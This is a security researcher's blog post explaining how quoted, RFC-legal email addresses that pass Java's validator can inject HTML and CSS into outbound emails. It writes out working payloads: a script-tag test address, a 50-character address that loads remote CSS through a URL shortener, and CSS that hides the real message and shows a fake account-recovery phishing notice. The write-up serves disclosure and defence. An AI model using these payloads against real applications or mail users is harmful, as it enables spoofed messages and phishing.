Monday, June 13, 2016 At 2:58PM
On a recent project, we noticed that an application was accepting email addresses in an unsafe format. In the case of this application, it was sending the email address in an email to a user’s account, without escaping.
It’s not that the application wasn’t validating email addresses. It was, in fact, running all email address through the standard Java validator, javax.mail.internet.InternetAddress.validate().
However, legal email addresses can have some amazingly complex things in them.
The Wikipedia page for email addresses has examples of legitimate, if crazy, email addresses.
The Java library mostly (but not completely) agrees with the email addresses as indicated in that article.
Now, to put dangerous content into email addresses, there are two general methods useful for attackers: comments and quoted portions. The Java library does not accept comments in email addresses, but it does accept quoted portions.
This is an example of a legal email using quoting:
"john.smith"@example.org
as is
"john.smith<script>alert(1);<script>"@example.org
Web pen testers will recognize the latter as the canonical test for an XSS attack.
In this case, the email address was being put into an outbound email. This normally is not an XSS vector. Email is typically read in a dedicated mail application, or in a webapp. Mail applications often don’t have JavaScript engines, and Webmail applications as a rule will refuse to render any JavaScript. (Sometimes attackers will find a way around this, but it’s very hard to do, and if they succeed it is a much bigger problem than any I describe here.)
Modern mail readers still have significant CSS capabilities, so the ability to insert arbitrary HTML into them means the ability to change the message visible to the user arbitrarily. This can lead to very successful phishing attacks, since an attacker can cause malicious messages to originate from the legitimate and expected service.
My primary mail reader target was OSX’s Mail.app, with Thunderbird as a secondary.
The application we were looking at had a strong limit of 50 characters for an email address, and the domain had to have at least two labels, of which the second had to be at least 2 characters. (This is not part of the RFC, nor does the Java library require it.) Given the quotes and the domain, the longest message that could be inserted was 43 characters:
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"@x.xx
It was necessary, of course, to start a style tag, as well as to close it, so that left us with this much room:
"<style>XXXXXXXXXXXXXXXXXXXXXXXXXXXX</style>"@x.xx
This still allowed room for a payload to be inserted thanks to URL shorteners and use of the @import directive:
"<style>@import 'http://xxxxxxxxxxx'</style>"@x.xx
The “http://” is required in the mail context, as are the quotes.
Can a normal person fit a URL in 11 characters? Domains like “ant.nu” are available, but there is no need to splurge on a short domain. The best link shorteners can give you a URL in 9 characters, so this is our hostile email addresses, with two characters to spare:
"<style>@import 'http://ly.my/pva'</style>"@x.xx
Now, with arbitrary space, we can put in an appropriate payload that overwrites the message:
body { visibility: hidden; } body:after { content:'We have detected unauthorized access to your account. Please visit http://example.account-recovery.net/ to restore access, or call 555-1212.'; visibility: visible; display: block; position: absolute; padding: 5px; top: 2px; }
And the message in Apple Mail.app looks like this:
In Thunderbird, if you accept the warning to load remote content, you get this:
Lessons
- Email address validation is not the same as email address sanitization.
- More mail readers should be suspicious of external links, and offer an option like Thunderbird does to delay loading of external content.
Author: Daniel Weber
©Aon plc 2023